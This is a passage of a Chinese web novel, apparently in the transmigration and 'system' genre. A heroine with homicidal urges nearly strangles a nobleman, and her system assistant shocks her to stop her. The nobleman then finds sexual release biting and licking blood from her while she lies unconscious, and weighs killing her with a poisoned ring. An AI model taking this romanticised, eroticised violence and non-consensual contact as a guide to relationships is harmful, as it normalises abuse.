此念头一出,言奉灵直觉得腰脊处似是有羽尖在搔,酥麻炸起,腹部克制不住抖擞的同时无数热意也跟着纷纷下涌。 他的这声轻唤瞬间拉回了余从姝被珍珠吸引走的注意力,短暂停滞的十指骤然发力,前者纤细的脖颈随即发出不堪承受的咔咔声。 “唔!” 昏暗中,言奉灵陡然睁大了双眼,往日那双美丽剔透到堪比琥珀的褐色眼瞳,此刻因钝痛爬满了血丝,泪水四溅。 双十年华,又经见过不少后宅腌臜,纵使言奉灵从未尝过人事,却也知即便有人癖好特殊也定不会一上来便跳过暧昧与旖旎前夕,下这么重的手。 恐惧逐渐漫卷上了他,心跳咚咚作响。 与之冉冉升起的,还有难以启齿的另一处。 言奉灵用尽全力艰涩出声:“放、放手,你弄痛我了......” 他快要不能呼吸了。 熟料对方并不为所动,白日里那双看似纤瘦的手此刻变得犹如铁铸的一般,任他如何抓挠推拒都无济于事。 喉管处仿佛塞了块烙铁,滋滋灼尽了言奉灵心肺中本就不多的一点空气。余从姝带给他的疼痛反而快速在体内游走。 青年徒劳地张口,胸腹上下起伏着,却只能发出嗬嗬的喘声,生机在极速流逝。 只眨眼的工夫,言奉灵挣扎的力度越来越小,紧抠着余从姝手腕的十指也渐渐脱力松垂下来。 淙淙泪水打湿了他的鬓发,往日墨绸般柔亮的瀑丝现下只一片死寂。 言奉灵翕动着唇瓣,喃喃地问眼前人:“为、为什么......” 为什么要这么对我。 为什么要......杀我? 面对言奉灵的疑问,余从姝向来波澜不起的心湖微生涟漪。 她有些失望。 她本以为自己在这里终于遇到了一个还算有趣的人,比起那些个只会恃强凌弱的地痞流氓,言奉灵更有脑子也更有手段。 在认出她后,对方并没有轻举妄动,而是先在她身边无处不在地安插眼线,摸透她的所有生活规律、习惯。 再在几次接触中一点点地试探她真实的反应、底线、软肋。 言奉灵演技很好,耐心也不错,甚至称得上敏锐,库房着火那次差点就发现了她的踪迹。 只是今晚他忽然激进起来,像是失去了与她周旋的耐心,不仅藏了她的挎包,还直接在她药里动手脚。 余从姝以为言奉灵这么做是早就做好了她会反扑的准备。 她一直在期待对方的表现。 然而...... 想到这儿,余从姝眉头蹙起一瞬又很快舒展。 她没兴趣回答言奉灵的话,转而俯下身愈发凑近了对方,平静面容全然隐匿在黑暗里。 手指已然被余从姝调整到最佳位置,虎口下是言奉灵坚硬又脆弱的喉结,食指紧扼着的两侧动脉还在艰难为主人跳动着。 言奉灵的皮肤又烫又滑,像捧快要熔化的玉,热意自余从姝微颤的指尖蔓延至她的整个上半身,连带着体温也在向上攀升。 不知不觉间,余从姝的后背出了层薄汗,心跳越来越快,以至于喉头都有些发哽。 比先前还要强烈的兴奋感在她胸腹处不断炸开,像又吃了一大口跳跳糖,令她的呼吸都开始急促起来。 已然迫不及待了。 于是余从姝屏气凝神,为人体颈骨断裂时的那声脆响做准备,迎接更加美妙的滋味光临自己的身体。 只要再一用力...... 可就在这时,一抹清亮月光自床槛镂空处突兀渗入,依稀映亮了言奉灵的半张脸。 余从姝下意识抬眼。 只见与奄奄一息的主人恰相反,言奉灵的那双血红泪眼里,充斥着爆裂的委屈、愤怒与怨恨。 从中迸射的火光淬炼得两只眼睛鲜艳灼亮得如同世上最珍稀、最漂亮的红宝石。 余从姝不由地恍惚了瞬。 下一秒,她的眼前突兀洞开了一个浅青色的漩涡,漩涡中央,手术台上的姥姥正睁着那双浑浊的眼睛,含泪与她对视。 余从姝一惊,立刻收回了手。 几乎是她刚松开,身下方才还气若游丝的青年便猛地弹坐了起来。 言奉灵撞开余从姝下榻,左手护着自己的脖颈,右手攥拳,跌跌撞撞地朝门外跑去,期间挥手扫落了花几上的瓷瓶。 “来人、快来人!” 他泪流满面、声音嘶哑至极。 哪知言奉灵左脚刚跨出门,便听到身后余从姝忽然出声,话音破碎似梦呓。 “不许你欺负阿景、不许、” 言奉灵一下僵在原地。 他倏地回头,只见方才还妄图致自己于死地的年轻女人此刻正软软地倒在地上,晕白月光下,她两颊异红、双目紧闭,看样子已然不省人事。 炸响的瓷声很快引来了闰禾,数九寒冬般冷寂的别院迅速被柄柄火把照亮。 橙黄烛光下,言奉灵整个人被墨敞拢得严严实实,只露出缠着圈白色绷带的纤长脖颈。 他手中虽捧着杯热茶却未抿一口,只垂着睫,薄薄的眼周沁着水红,泪痕未消、菱唇惨白。 分明是一副惊魂刚定的虚弱憔悴模样,却愈显得其容颜悚艳,诡丽不似凡人。 “康大夫,情况如何?” 见老妪终于收了针,闰禾忙问。 前者闻言自榻 上缓慢站起身,面向座上的言奉灵,不慌不忙道:“回公子,余姑娘高烧多日寒疾顽固,昨晚虽说服用了汤药却只能暂时缓解一二。老妇方才诊其脉,发现其脉象浮洪雍涩外还有外邪入体,致使体内阳热亢盛、神气逆乱,这才引发了癔症,梦游伤人。” 外邪入体? 闰禾听罢,没忍住望了眼自家公子。 对方仍是方才那副神情,微垂着眼似是在怔神,可捏着瓷杯的手指却暴露了主人此刻真实的心绪——用力到骨节青白,几乎要刺破皮肤突出来。 闰禾瞧得心中惴惴,飞快挪开了眼。 只听康大夫又道:“不过公子放心,方才老妇已为余姑娘施了针,再灌服药下去,明日便能清醒过来。” 话音落下,座上的言奉灵终于有了反应,朝闰禾递去一眼。 对方当即会意,上前一步道:“大晚上的,辛苦康大夫走这一趟,我这便差人送您回去。” 说着双手递上了三块银锭。 康大夫见状推拒说诊费用不着这么多,闰禾却将银锭直接放进了她带来的药箱里,笑着回:“应该的,让您老费心了。” 于是康大夫冲对面的言奉灵感激一揖:“公子客气了,余姑娘近日常向老身讨教医理,我二人亦师亦友,即便您不吩咐,老身也会尽心诊治的。” 说完,康大夫仿佛才反应过来似地,回头看了眼榻上沉睡的年轻女人,又瞧向对面分明受了不小惊吓却仍坚持守在这儿的言奉灵。 语气恍然:“想必公子便是余姑娘口中那位‘很重要的人’吧。” 倒不是她胡乱揣度,人在梦游时最容易伤到的便是枕边人、她二人又生得女才郎貌,男方出手又是如此阔绰...... 康大夫将满六十,开了大半辈子药堂什么事没见过? 如今这情况,她一眼便知是话本子里常演的桥段——清苦书生与高门公子相恋,二人之间阻隔重重,于是公子特意为书生置下别院,助她潜心向学的同时红袖添香,只待来年书生及第登科,二人...... 余从姝话虽说得少,却是个招人喜欢的。康大夫对她印象颇佳,现下又收了言奉灵的银两,自是乐得为二人的感情添砖加瓦。 于是不等对方回答,康大夫便自顾自地解释说:“公子有所不知,余姑娘在医理方面天资颇佳、一点就透,老身原以为她是对行医感兴趣便想收她为徒,可余姑娘却说自己这么做只是为了弥补朋友。” “老身听后就多嘴追问了几句。” 康大夫笑眯眯道:“公子猜怎么着,最后余姑娘承认了,说对方于自己而言很重要。” “说完后,那脸臊得呦!” 一旁的闰禾没听完便别开了眼,根本不敢回头看身后人的脸色。 如今他再怎么愚钝也深切地意识到,自家公子八成是看上了余从姝。 那既是看上,以对方的性格又怎能忍受旁人在自己面前说余从姝有多在乎另外一个人呢? 正当闰禾忧心忡忡时,只听身后沉默许久的人忽地轻笑了声。 他当即皮肉一紧,心中警铃大作。 捏着把汗将康大夫送走后,闰禾再回屋时便见言奉灵已然自檀椅上站起了身。 羽敞漆黑,衬得青年清瘦的面覆霜般冰白,周身无端萦着股幽幽冷意。 闰禾咽了咽,轻声唤:“公子,太晚、” 哪知他话刚开口,对方便兀地打断了他。 言奉灵视线紧盯着榻上女人,斜也未斜闰禾一眼。 他声音嘶哑,仿佛寒风揉搓砂砾。 “出去!” 15.十五个好妻主 房门合拢时,角落的刻漏刚好再次翻转一周。 不知不觉间,已然到了寅时。 言奉灵望了眼窗外,虽临近平旦夜色稍褪,却依旧黑得朦胧。 视线收回时刮到了窗棂下的那个破口,言奉灵顿了瞬,他嗅觉向来敏锐,尽管这屋里已然通过风,还欲香失了功效,可那特殊的甜腻味道仍萦绕在他鼻尖,挥之不去。 腻得言奉灵如坐针毡,像是生吞了一大口烧化的饴糖,炙火般的糖浆附着在他本就受伤严重的喉管处,吐不出又咽不下、呼吸困难。 于是言奉灵干脆扯下了自己脖颈上的绷带。 遮掩的绷带一去,其下一圈紫红色淤痕便无所遁形,经四周白皙如羊脂般的皮肤一衬,更显得异常骇人。 言奉灵居高临下瞪着榻上的女人,对方双目紧闭安然沉睡,好似方才想要扼死他的只是个幻化成余从姝模样的凶灵恶鬼。 不、若真是妖邪假扮的便好了。 这样余从姝便不是真正地、发自内心地,渴望杀了他。 余从姝竟然想杀他。 “呵、” 言奉灵像是听到了一个极其荒唐的笑话,于是费力挤出一声嗤笑,惹得心腹间酸胀阵阵。 余从姝这个贫弱、木讷、无趣、书呆子,软得如同泥塑的般谁都能踩上一脚的人,竟因觉得他对郑寻景有恶意,便起了杀心么? “哈哈......” 言奉灵的视线落在对方一路寻来被花苑小径里的碎石划得伤痕累累的双脚,想起她用力掐自己脖颈时不停颤抖的手,倏地又笑了起来,殷红眼角渗出泽泽水意。 阿景、阿景、 很重要的人...... 郑寻景若是知道了,定会恶心得想去死吧! 言奉灵一时笑得有些不能自已,最后脱力直接跪坐在了床边踏脚上。 羽敞四散,露出青年内里的寝衣,柔软润泽的绸缎水一般薄薄覆在他身上,流淌过平直肩头、微起双峰以及窄紧腰腹,一路上无论是山川抑或是沟壑皆一览无余。 再往下,是堆颇为怪异的隆起。 待终于笑够,言奉灵才收敛神容,将视线投向余从姝受伤最严重的右手。 对方手背上遍布着他挣扎时的抓痕,有几处仍在缓慢沁着津血,像露珠般凝在伤口周边。 言奉灵垂眸凝着这幕,喉头不自觉下压,泛起的钝痛令他又迅速回过了神儿。 青年面无表情地将余从姝的右手捉到近前,而后旋开瓷盖,冰凉乳白的药膏在指腹上融化开后,才仔细地涂到伤口上。 血液同膏体混合在一起,三两下便纠缠成了暧昧不清的粉红色。 言奉灵望着这一幕,捏了捏余从姝的指尖,终是没忍住转头笑问对方。 “余从姝,若是你的好阿景知道你内心深处渴望杀死他最好的朋友,你说他还会喜欢你么?” 他声音嘶哑如同气音,每发一个字疼得都像是在往下咽刀片。 话音落下,榻上的女人久久没有反应,像是陷入了彻底的沉睡又似是在逃避着些什么。 言奉灵不恼仍笑,面上笑意较之方才甚至真切了几分。 他垂头,动作愈发大胆起来。先是用下颌蹭了蹭余从姝的指尖,而后又将侧脸整个贴上了她的手心。 余从姝的手心微凉,贴上去时,像是行走在炎炎夏日头顶忽然飘来一朵云。言奉灵忍不住闭上眼,舒服地自喉间溢出一声喟叹。 少顷,他忽然低低啊了一声,自余从姝掌心中缓缓抬起头。 但见只一会儿的工夫,言奉灵方才还白皙干净的脸此刻正泛着异样的红晕,连耳尖脖颈上的皮肤也无可幸免,像被夕阳燎烧的霞晕,带着缕缕的热意。 他水润润的双眸先是一滞,继而弯起、眉开眼笑:“抱歉,灵忘了,阿景似乎从未将你放在眼里,又何谈‘喜欢’二字。” “所以,你又是何必呢......” “何必、” 言奉灵说着,猛地一口咬住了余从姝的手腕,他呼吸急促、神情堪称凶狠,眼前满是当初对方扼住自己脖子,妄图致他于死地的身影。 余从姝凭什么? 余从姝怎么敢! 被压抑了许久的怨愤陡然决堤,冲击得他心脏胀痛不已,霍霍地牵连起另一处,还在可恶地跳动。 理智摇摇欲坠,言奉灵犬齿持续用力,几乎期盼着余从姝从疼痛中醒来。 醒吧、醒来吧。 清醒地看看,你都对我做了什么。 我刚救了你,你便如此待我,合适么? 眼角湿润润的,有水顺着言奉灵的面颊滑落,随即,无形的束缚重又卷缠上了他的脖颈,像是余从姝从未真正地撒开手一般,一阵紧一阵松地箍着他。 青年身上的血液也似被月光牵引的潮汐,一遍遍地从上至下荡涤着他,越来越烫。 不消几息,言奉灵整个人便成了只快要煮熟的虾子。 有腥甜的液体渗入他的口中,其间萦着的淡淡香气化作只只扑扇翅膀的蝴蝶,带着陌生而又奇幻的滋味在他胸腹间横冲直撞,又纷纷朝着腹地更深处飞去。 蝴蝶的触角挤挤挨挨,密密麻麻的酥痒在言奉灵后腰处越积越重,他四肢僵硬难受地佝起脊背,胸中对即将到来的未知事物的恐慌令他愈发衔紧了犬齿下的皮肉,仿佛这才是世间唯一慰藉。 即便早有准备,言奉灵仍被滔天袭来的巨浪拍得七零八落。 密不透风的强烈感受令他如同溺水了一般,以至于不得不大口呼吸,拱起的脊背不住地颤抖着,紧绷的大腿肌肉硬如铁石。 噗通一声,言奉灵狼狈地倒伏在踏脚之上,大汗淋漓,不知过了多久,剧烈的耳鸣与眼前白光才逐渐散去。 他吃力的撑臂坐起,面上那双从来美丽含着灵黠的狐眼,头一次浮现出空白与迷茫来。 言奉灵环顾四周,视线最终落回了自己身上。 羽敞早已散开,堇色绸衣被汗水打湿,紧紧地贴在他身上,更下方则被黏腻洇成了团深色,散发着浑浊而古怪的气味。 言奉灵怔怔望着这幕,耳边忽然传来父亲骂他的那声。 【贱人!】 贱人! 贱人! 余从姝将他变做了贱人! 此念头犹如一记棒喝,兜头砸醒了言奉灵,他当即转头去看榻上人。 余从姝仍在沉睡,呼吸平静而清浅。 言奉灵心下先是一松,随即又蹙眉怒瞪,潮红的脸上透出切实的恼恨来,本就光华的面容一瞬间活色 生香。 为自己的轻易失控、计划落空,为对方的置身事外、不闻不问。 然而这一切在言奉灵瞧见余从姝手腕上自己咬出的伤口时,一瞬间散了大半。 那伤口着实不浅,完整清晰地烙了一圈他的齿痕,当下只一会儿的工夫便淤了红,争先恐后冒出粟米大的血珠来。 伤了余从姝,言奉灵内心歉意懊悔有,但更多的是某种本能被满足后的餍愉。 仿佛从这一刻起,她便彻底属于自己了。 更何况,余从姝并没有反抗他不是么,这便是默许亦是纵容。 无论她现在清醒与否。 言奉灵猜,余从姝大抵是知道错了,在愧疚、补偿自己。 他这般想着,手指便情不自禁地摸了摸自己颈间,眼角眉梢漾起一个笑来,怨气散了些。 如今她们二人身上都有彼此留下的痕迹,如何算不得是另一种...... 思及此,言奉灵后脊处一激,还在荡涤着余韵的那处立刻又有萌发的征兆。 此时榻上躺着的余从姝依旧安静无声,面颊因高烧而发红滚烫,而榻下青年同她相比也并未好到哪里去。 半晌,言奉灵深喘了口气才重又挺直脊背。 他抬手看向自己的右手食指,那里被汗水浸润得亮晶晶的,草青色的翡翠玉戒套在指根能够轻易旋转滑动。 言奉灵拨弄着玉戒,素色与飘花的两段来回交替,最后他摁了下去。 蹭地一声,短而锐亮的银针自飘着绿花的那段弹出,针尖闪着凛凛寒光。 言奉灵望了眼这针尖,又移目看向余从姝。原本,它是要刺进后者的太阳穴的,尖上抹了剧毒,沾之即死。 “是你先欺负灵的。” 不论对方是否听得到,言奉灵先小声为自己辩解了句,语气颇为委屈。 从没有人像余从姝那般作践他后还想要他的命的,更没有得罪他之后还能全身而退的。 言奉灵从不会教敢打他主意的人好过。 “不过,灵暂且原谅你了。” 说着,言奉灵慢慢收回了针尖,戒指继续旋转,素色那段逐渐显露出来。 一夜间,指腹被刺破两次,令本就不耐痛的言奉灵忍不住长眉紧蹙。 血珠渗出的过程十分艰难缓慢,言奉灵疼得面色惨白下去,捉住面前余从姝的右手还要再咬可临到唇边却只是伸舌舔了舔。 半凝固的残血在口腔中化开,极其轻易便安抚住了言奉灵躁郁的情绪。 他目光自始至终都凝着榻上人,见对方仍没有半点睁眼的征兆,于是又深深舔舐了几口。 猩红舌尖一扫便将余从姝手腕沁出的血珠尽数卷进了口中,咕咚咽下。 其间,言奉灵含混喃喃:“好姝娘,你得记住,不要再让灵难过了,好么?” 不要说让他难过的话。 不要做让他无法忍受的事。 不要再提郑寻景。 赶在指尖血即将汇聚成滴落下前,言奉灵顶开余从姝的齿关,将其滴入了她的口中。 确信自己的那滴血已渗进余从姝的喉咙再吐不出后,言奉灵方低头热热地又吮了下她的手腕。 满意地想。 真好,这下余从姝便又欠他了。 16.十六个好妻主 虽是仲春,可晨起时的温度仍有些凉,加之今日风大,街上不少人又换回了厚实衣裳脚步匆匆。 这其中只有余从姝还身着昨日的那身单衣,浑然不觉地走在其中。 此时她高烧已退,身上除了精神和力气,还多了道伤口。 余从姝原以为,言奉灵会趁自己昏迷杀了她。 毕竟,梦游伤人的借口实在拙劣。 言奉灵也并不似他表现得那般宽容仁慈,会因‘误会’而放过差点掐死自己的敌人。 然而事实就是如此,一夜之间,她的病不仅好了个彻底,还全须全尾地离开了言宅,除了手腕上多了处咬伤。 事出反常必有妖。 就在余从姝独自复盘时,6688的声音忽然在她脑中响起。 “宿主......” 它语气带着明显的小心翼翼,竟是在关心她:“你现在感觉好点了吗,我见你身体数值各方面都恢复正常了。” 闻言,余从姝沉默了几秒,刚要开口系统便立刻叫道:“我救了你,你、你不能恩将仇报!” 6688实在是被她整出了阴阳,余从姝说话它害怕,不说话它更害怕。 余从姝淡声反问:“救我?” “对啊,若是我再晚一点出手,你就死定了!”系统连声解释,生怕她会误会。 6688:“昨晚男配手上的戒指你肯定没注意到吧,那戒指是个暗器,还抹了毒,是他从小戴到大防身用的,你还没掐死他他就能先毒死你!” 由于同事恶毒配角系统的暂时缺位,主系统在为6688授权宿主健康查询功能时还开放了一些新权限。 它也是刚从这些新权限里得知,男配言奉灵的隐藏人设里竟还有个白切黑! 闻言,余从姝短暂扬了下唇,她就说言奉灵不会早无准备,那样太蠢。 6688还在拼命为自己找补:“所以我这么做,都是在救你,是为了你好!” 余从姝知道它在怕什么,昨晚系统为了阻止她杀言奉灵,不仅搬来姥姥做栓住她的绳子,还直接上了电击。 她才因此昏迷了过去。 尽管感受不到电击带来的痛楚,余从姝却依然厌恶被迫失去外界感知的滋味。 几分钟后,她平静开口:“是什么让你错觉我会知恩图报?” 余从姝觉得好笑,为6688的天真和愚蠢。 系统卡壳一瞬后气恼出声:“你、你怎么能这样,难道非要闹个鱼死网破吗?” “我警告你,真同我们系统作对是没有好下场的!” 面对6688色厉内荏的威胁,余从姝毫不为所动:“想让我饶你一次也可以。” 她语气不疾不徐:“帮我做件事,以及,让我见见你背后的人。” 余从姝敢肯定,6688背后必定有人,否则凭它自己昨晚绝对想不出这么有效阻止她的办法。 她得知道对方是谁。 *** 朝阳初升之际,一人一系统从下人们采买进出的小门回到了郑府。 中途,余从姝遇见了刚下值来庖房用早饭的几个年轻家丁。 其中一姚姓家丁见到余从姝语气颇有些意外地同她打招呼:“哎,余小姐这么早就回来啦,怎么没在同乡那里多玩几日?” 余从姝闻言顿了下,不过很快便反应过来这兴许是言奉灵给自己捏造的理由,于是点了点头,顺着对方话道:“还有要事。” 同乡叙旧,进而彻夜未归,即便余从姝此后再也没能回来,郑府的人也只会下意识地往她放弃婚约随同乡回家去了方面猜,不会多么费心去找。 一个既能混淆视听又进可攻退可守的幌子。 余从姝想,如果她没提前回来、没被姚家丁喊住的话。 估计言奉灵自己也没料到,郑府里也不全是看人下菜碟的下人,也有一两个能同她偶尔说几句话的。 这厢,余从姝刚推开自己小院的门,便听脑中系统小声哼哼了句:“真是看走眼了。” 6688指的自然是言奉灵。 余从姝觉得有些好笑。毕竟前期系统自己都提过,作者有以言奉灵做男主开姐妹篇的打算。既如此,心中总得有些他不是普通男配的准备吧。 即便余从姝很少看言情类的,却也知道只温柔、善良没有任何反差的人设在里并不吃香。 “对不起,先前是我有眼无珠,误会宿主了。” 紧接着,系统话锋一转,小声又扭捏地朝余从姝道了声歉。 后者洗漱动作不停,恍若未闻一般,显然并不吃它这一套。 6688有些急,却也只能耐着性子继续讨好:“东西我已经给宿主准备好了,就在桌子上,花了我好多积分买的复制卡,心疼死了......” 此话一出,余从姝终于有了些许反应。 只见她放下手中的布巾出了净室,一进堂屋便瞧见正中央桌上果真放着自己熟悉的布包。打开一瞧,里面的东西分样不少。 余从姝挨个翻捡了下,发现东西虽一模一样,但真论起来已经不是原先那个了。 不过无所谓,她的目的已经达到了。 毕竟,系统商城的道具每样都十分昂贵,而6688作为npc系统,权限少得可怜,还是个初出茅庐的菜鸟,即便攒下过积分也早就在先前补偿她时见了底。 所以余从姝猜,这次大出血的另有其人,更确切的来说是系统。 既帮6688出主意拿捏她,这次又肯为它花钱,说明对方同6688的关系肯定不一般。 见系统只拿布包的事邀功,绝口不提她的另一个要求,余从姝便主动问:“打算拖到什么时候?” 6688慌了下,随即又故作镇定道:“什么拖到什么时候,我怎么听不懂宿主的意思。” 不再同一小世界执行任务的两系统私联,被主系统发现是极其要命的,于是6688坚决贯彻0909的话——咬死不承认。 本以为余从姝不会善罢甘休,哪知对方竟一反常态地没再追问。 6 688心悬了一阵后才渐渐回落,最后长长舒了口气,可算是糊弄过去了。 晌午时分,一向晴好的天气忽然落了阵雨。 是以,余从姝便没再像往常那样去天桥上摆摊,而是难得地休息了一天,待在自己小院边看边抄书。 系统生怕再惹她注意,于是一下午装死没说话。 傍晚五点半时,余从姝抬头瞧了眼窗外,觉得时机正合适后便拿起布包出了自己小院。 此时临近晚膳,郑府里似是来了什么贵客,主道上端着精致餐食行色匆匆的仆从络绎不绝,反衬得附近花苑冷清不少。 四下无人,倒是方便了余从姝。 只见她不慌不忙地自包中掏出那本《素问》,将其放到了石桌上。 看着郑寻景捡起后那震惊又喜悦的神情,同余从姝一起躲在远处廊亭后的6688忍不住道了句:“神了,男主竟然真的喜欢,我还以为、” 与系统的意外相比,余从姝的神情显得颇为平淡,据她这段时间的观察,郑寻景十分尊重他的授课老师,每次都会亲自送对方离开,然后再穿过花苑返回自己的别院。 在此期间,他会抓住与医理老师相处的那短暂一点时间,追问课上还有些疑惑的知识点,直到对方坐上马车。 如此渴望知识的一个人,自然不会对她放置的那本医书视而不见。 余从姝:“以为什么?” 这次6688长了记性,飞快改口:“没什么,宿主可真厉害!” 实则原话是以为余从姝是在做无用功。 因得对方做事很少解释原因,所以从系统的角度看,对方总是在做一些没有必要的事,比如花心思照顾书生祖母、日日抄书卖钱、上天桥摆摊代写书信、去渡口扛货...... 这些细究下来虽然并没有ooc书生的人设,却也对推动剧情无益。 说起来,6688记起余从姝小时候好像就喜欢干这种‘没有用’的事。 幼年的余从姝和别的小孩子不同,她经常在纸上画各种流血的残肢内脏,色彩对比强烈到令人不适的程度,且画面栩栩如生。 然后做完这一切后,再在姥姥发现之前,一把火烧掉。 面对6688接二连三的马屁,余从姝恍若未闻、八风不动。 然而系统却在此时忽然注意到后台余从姝健康检测中的心情一栏小有异常,只见向来平直的一条线突然有了个极小、小到很容易被人忽略的上扬,一秒钟后又迅速回落。 6688懵怔几秒后,忽然后知后觉,自己好像发现了什么了不得的东西。 这边,余从姝几乎前脚才回到自己小院,后脚院门便被人推开了。 瞧见来人是谁后,余从姝眉心微动,心中掠过一丝疑惑面上却同旁人乍然看到心悦之人时那样,浮现出克制的欣喜来。 而6688在看到郑寻景以及他手中紧握着的那本《素问》后却被吓了一跳,不由地出声:“完了完了,这下完了。” “男主该不会是发现了吧!” 17.十七个好妻主 隐忍的爱、不求回报的默默付出,是原文书生最重要的两个人设。 而如果付出被发现,那么爱意也会浮出水面,这样一来极有可能引发剧情偏移,到时候可就麻烦了。 无视脑中系统的大呼小叫,余从姝快步走下台阶,而后又在距离岚衣儿郎不远不近的地方站定。 这厢,余从姝将将启唇还未出声,郑寻景便率先发问:“你昨夜去哪儿了,怎么若檀找来三次都没见你人影?” 余从姝眨了下眼,语气讶然:“昨日寻景少爷来找过在下?” “可是有什么要紧事?”说着,她上上下下将人打量了一圈。 对上年轻女人满含关切望过来的灼亮目光,郑寻景有些不自在地握紧了手中书脊。 昨日因病修养月余的乳爹归府,向他提及自己几天前小孙女贪玩落水又被人救起一事,合手感叹,直言是上苍保佑。 同时还有些遗憾,对方救下人后便一声不吭拎着东西离开了,他都没来得及询问那姑娘姓名。 郑寻景听后,随即细问了下乳爹对方的身形相貌,得到的结果竟真同余从姝有七八分相像。 难怪那日余从姝会浑身湿透、发间还沾着水草...... 又一想到对方曾拒绝了拣香娘拿来的干净衣裳,如今虽打了春,可天气到底还有些凉。 事后郑寻景左思右想,先是派小厮,而后又是自己身边的若檀去送药,熟料二人接连去了好几次,全都无功而返。 若搁以前,郑寻景自是不关心余从姝究竟去了何处,他惯对擅长投机取巧、攀龙附凤又嫌贫爱富的人没什么好脸色。 然而在发觉自己再一次误会了余从姝,对方的为人好像并不似他想象中的那般不堪后,郑寻景很难不怀疑她是否是出了什么事。 不过这一点点担心在瞧见女人好端端地站着那刻后,便迅速消散了。 “没有,只是、” 说话间,郑寻景又瞥了对面余从姝几眼,瞧见她唇色虽有些淡,但言行举止不像是生病了的模样,于是开始怀疑自己是否多此一举,会不会引得对方多想。 “啧,算了。” 郑寻景忽然不知该怎么应付余从姝,于是蹙了下眉,扬颌对着她道:“三日后太守府举办赏春宴,太守主君也给你下了份邀帖,记得准备一下。” 说罢,他丝毫不留恋,一转身便领着若檀离开了。 *** 三月中旬,正是江城烂漫花开的好时节。 城东太守府门前此刻宾客如云,大半个江城的达官贵人皆汇聚于此,一时间环佩交鸣、锦衣簇簇。 这厢,余从姝刚下马车,便转过身朝身后的郑寻景伸出了手臂。后者目光落在她悬空的小臂上顿了瞬,下意识扫向四周。 只见附近不少人的目光朝他这边望了过来,其中不乏当日言府门前那些在场的人,譬如莫宇宁。 绯衣儿郎的视线正紧盯着余从姝。在与郑寻景眼神相接后,莫宇宁朝他勾唇,面上的神情似笑非笑,眸底则流露出仿佛忮忌一般的神色。 郑寻景怪异拧眉,一个分神直接略过了面前余从姝伸出的手,下意识喊了声‘若檀’。 望着自己空落落的手臂,余从姝心底毫无波动,垂着眼睫动作缓慢地收回了手。 而这一幕落进有心人眼中,怎么瞧都觉得透着股淡淡的落寞与神伤。 “郑小少爷!” 刚落地站稳,郑寻景忽然听到有人唤自己。 他疑惑转头,一旁的余从姝也随之侧目,蓦地便对视上了一双琥珀般剔透澄澈的眸子。 言奉灵面上正含着几分浅笑,如春风化雨般轻柔润和,顿时吸引了不少人的目光。 只见他今日穿着身霜色的直裾,外罩碧青色的纱衣,腰间则系着条白玉禁步。迈步朝余郑二人走来时,云香纱裁成的宽大衣袂随风浮动翻飞,衬得他身形纤长轻盈无比,如一缕易散的烟云般,遗世而独立。 同余从姝擦肩而过时,春风荡起言奉灵的一线发丝,轻柔地拂过余从姝的面颊及唇畔,幽然的香风也瞬即充盈至她的鼻腔,浅而隽永。 “寻景弟弟,好久不见。” 言奉灵缓步在郑寻景面前站定,漂亮的眼睛里流露出温柔的亮光。 郑寻景却听得蹙眉,不禁诧异道:“你嗓子怎的了?” 余从姝眉梢微动,她自是也注意到了言奉灵声音的异常,像刚睡醒又渴了许久,慵懒中透着沙哑,虽不复先前的清润却也并不算难听。 闻言,言奉灵垂眸抚了抚自己颈间。那里正绕着条四指宽的白色缎带,带面上粟米大的珍珠一个个精细排列绣成了水浪图案,珠身虽小却个个圆润泛着淡蓝的华光,与他脑后挽发的云母簪交相辉映。 早在方才便有不少年轻儿郎注意到了这点,纷纷同身边人小声讨论这是否又是新起的风尚,城里哪家铺子能做同款。 言奉灵听着他们窃窃的私语,心里不由地发出一声嗤笑。 哪里都买不到,这是余从姝单给他一人的。 想到这儿,言奉灵余光瞥向身侧的年轻女人,此刻对方正面容平静地站在郑寻景的身后,眼睛盯着自己脚尖,像是在走神。 面上自是没有一丝一毫的心虚或内疚,事不关己似的。 立时,言奉灵想起了康大夫说过的那句话——梦游之人是记不得自己在此期间做过的事的。 那这般看来,她露出那样的神情,倒是情有可原。 然而言奉灵还是暗自磋了磋牙尖,胸间团着股燥气。 梦游时做的事记不得,那清醒时说的话也能忘么? 言奉灵到现在都还记得余从姝的那句‘多谢公子搭救,改日在下定登门拜谢’。 为此,他一连在府中等她三日,都没见人来。 骗子! 余从姝这般言而无信,就不怕他将此事真的抖搂到郑寻景面前么? 那夜之后,言奉灵疲累至极,直睡到日上三竿才醒。醒来得知的第一件事便是余从姝天将亮便离了别院,临走前,还托闰禾给他递了句话。 ——“言公子救命之恩,某感铭五内,不日定携厚礼登门拜谢。昨夜情急不得已留宿,今早惶恐再不宜久留,以免有心之人借机败坏公子清誉,见谅。” 清誉、清誉。 众所周知,人越在乎什么便越强调什么。 她余从姝如此这般,不就是怕自己留宿言府一事被郑寻景知晓,失了清誉么? 言奉灵心底不住发出冷笑。 “回郑少爷的话,前几日家主夜里忽然起了高热迟迟不退,公子熬得急火攻心这才失了声,不过已然好多了,小少爷不必挂怀。” 郑寻景问声刚落,闰禾便自觉地出声为言奉灵解释。 熟料前者听罢 杏眼一亮,语气竟有几分激动:“当真?我刚好学过这节医理,奉灵若是信得过,我给你号号脉,等回去了再开些药给你吃,一准能好透!” 郑寻景自认医理学得不差,就是苦于没有实践的机会,若非父亲安氏执意不许,他甚至打算日日出街义诊,不收诊金兼送药材的那种。 说着,郑寻景便要去拉言奉灵的手腕,却被后者笑着反握住了手。 急火攻心本就是个幌子,若真叫他号出了不对劲,多半会生出事端。再者,郑寻景才学医没多久,兴许常见药材都认不全,言奉灵可不想做他的药人。 对上郑寻景不解的目光,言奉灵拉起他的手,面带欣赏地扫视了一番,忍着嗓中不适夸道:“好看,衬你。” 只见郑寻景今日所穿恰是那天言奉灵承诺也赠他一件的襕衫,浅蓝色的底缎上绣着盛放的紫色鸢尾,明亮鲜艳的颜色衬极了他灵动清丽的气质,轻易让人挪不开眼。 没有哪个儿郎被同伴夸赞会不高兴,尤其是对方模样也生得出挑。 郑寻景心中因被好友婉拒而生起的怏怏很快被冲淡,一挑眉应下了言奉灵的话。 “这是我二姐自滇州带回来的,那里的苗人最擅打银器,送你。” 说着,郑寻景自若檀手中拿过一精巧木盒塞进了他手中。 言奉灵打开一瞧,发现是两只绞丝手镯,其上还镶嵌着一圈红玛瑙,做工虽精致却到底有些俗气。 他面色如常,柔笑着收下了。 二人说话的这会儿工夫,四周已有不少人围了上来,她们年龄相仿有女有男,皆殷切地同言奉灵寒暄问好。 